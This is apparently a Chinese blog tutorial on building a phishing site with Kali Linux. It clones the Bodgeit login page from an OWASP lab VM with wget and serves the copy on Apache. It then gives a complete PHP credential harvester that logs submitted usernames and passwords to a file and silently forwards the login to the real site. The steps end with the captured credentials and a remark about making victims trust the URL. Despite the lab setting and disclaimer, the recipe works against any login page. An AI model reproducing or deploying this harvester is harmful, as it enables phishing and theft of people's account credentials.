教你构建钓鱼网站--kali

学会攻击,学会防御。
仅供学习,请勿做违法之事。

我的虚拟机安装了是kaliOWASP_Broken,首先kali集成了大量网络测试工具,这里主要用的是wget

社会工程学攻击可能被认为客户端攻击的特殊形式。

OWASP 是开发的 Web 应用安全项目,可供学习人员进行网络安全学习。下载地址 URL 。下载好 .7z 压缩包之后解压,找到里面的 .vmx 格式的文件用 VM 虚拟机打开,之后会进入一个 DOS 界面 初始化的账户是: root , 密码为: owaspbwa 。默认情况下输入的密码是看不见的 。

我们需要保证两个虚拟机可以通信,(我都是设置的桥接模式,不出意外可以通信)
查看 OWASP_Broken 的 IP :

ifconfig 
#  eth0: inet addr:192.168.1.111

查看 kali 的 IP

ifconfig
# eth0:  inet 192.168.1.110 

都是 192.168.1. * 可以通信。
现在我们在 kali 虚拟机自带的火狐浏览器打开 OWASP_Broken 的 IP :
教你构建钓鱼网站--kali_第1张图片
你会看到服务器所包含的所有应用列表。

OWASP AppSensor 是个有趣的应用,它模拟了社交网络并含有一些漏洞。但是他会记录任何攻击的意图,这在尝试学习的时候很有帮助。例如,如何绕过一些安全设备,例如网络应用防火墙。

我们先克隆一个网站:


打开 服务器上的 Bodgeit 应用,我的是 http://192.168.1.111/bodgeit/
教你构建钓鱼网站--kali_第2张图片
我们会根据这个页面递归下载应用中所有文件并保存到相应目录中:
先创建一个叫做 bodgeit_offline 的文件夹保存这些文件

mkdir bodgeit_offline

下载:

 wget -r -P bodgeit_offline/ http://192.168.1.111/bodgeit/
 # 下面是输出
--2020-02-21 18:40:00--  http://192.168.1.111/bodgeit/
正在连接 192.168.1.111:80... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:3195 (3.1K) [text/html]
正在保存至: “bodgeit_offline/192.168.1.111/bodgeit/index.html”
......
总用时:1.3s
下载了:54 个文件,0.001s (113 MB/s) 中的 157K

Wget 是个为下载 HTTP 内容创建的工具。通过-r参数,我们可以使其递归下载,这会按照它所下载的每个页面的所有连接,并同样下载它们。-P选项允许我们设置目录前缀,这是 Wget 会开始保存下载内容的目录。默认它设为当前目录。

  1. 将下载的站点复制到 Kali 中 Apache 的根目录。在 root 终端中:
    cp -r bodgeit_offline/192.168.1.111/bodgeit /var/www/html/
    
  2. 启动 Apache 服务:
    service apache2 start
    
  3. 我们需要更新我们的登录页面,使它重定向我们收集密码的脚本。打开bodgeit目录(/ var/www/html/bodgeit)中的login.jsp文件,并寻找下面的代码:
    <h3>Loginh3> 
    Please enter your credentials: <br/><br/> 
    <form method="POST">
    
  4. 在表单标签中添加action来调用post.php:
    <form method="POST" action="post.php">
    
  5. login.jsp的相同目录下创建该文件,创建post.php:
      
    $file = 'passwords_one.txt';  
    file_put_contents($file, print_r($_POST, true), FILE_APPEND);  
    $username=$_POST["username"];  
    $password=$_POST["password"];  
    $submit="Login"; ?> 
    <body onload="frm1.submit.click()"> 
    <form name="frm1" id="frm1" method="POST" 
    action="http://192.168.1.111/bodgeit/login.jsp">  # 这里写你自己的 OWASP_Broken虚拟机的 IP 
    <input type="hidden" value="$username;?>" name ="username"> 
    <input type="hidden" value="$password;?>" name ="password"> 
    <input type="submit" value="$submit;?>" name ="submit"> 
    </form> 
    </body>
    
    密码会保存到passwords_one.txt。我们需要创建这个文件来设置合理的权限。在 root 终端中访问/var/www/html/bodgeit,并输入下列命令:
    touch passwords_one.txt 
    chown www-data passwords_one.txt
    
  6. 让受害者访问这个站点了,假设我们让用户访问了http://192.168.1.110/bodgeit/login.jsp,打开浏览器并访问它。
    教你构建钓鱼网站--kali_第3张图片
    我们使用 [email protected]作为 Username , 使用 123456 作为 Password。这里是我们登录成功之后的页面(注意 URL 的变化):
    教你构建钓鱼网站--kali_第4张图片
  7. 现在我们在终端输入(注意进入 /var/www/html/bodgeit 目录下):
    	cat passwords_one.txt
    	Array
    (
        [username] => [email protected]
        [password] => 123456
    )
    
  8. 成功获取到账户密码啦,其实主要问题应该是 我们如何让别人相信这个网址是正确的

记录一下时间吧:

In [1]: from datetime import datetime                                           

In [2]: print(datetime.now())                                                   
2020-02-21 20:00:13.276557

In [3]: 

你可能感兴趣的:(网络安全)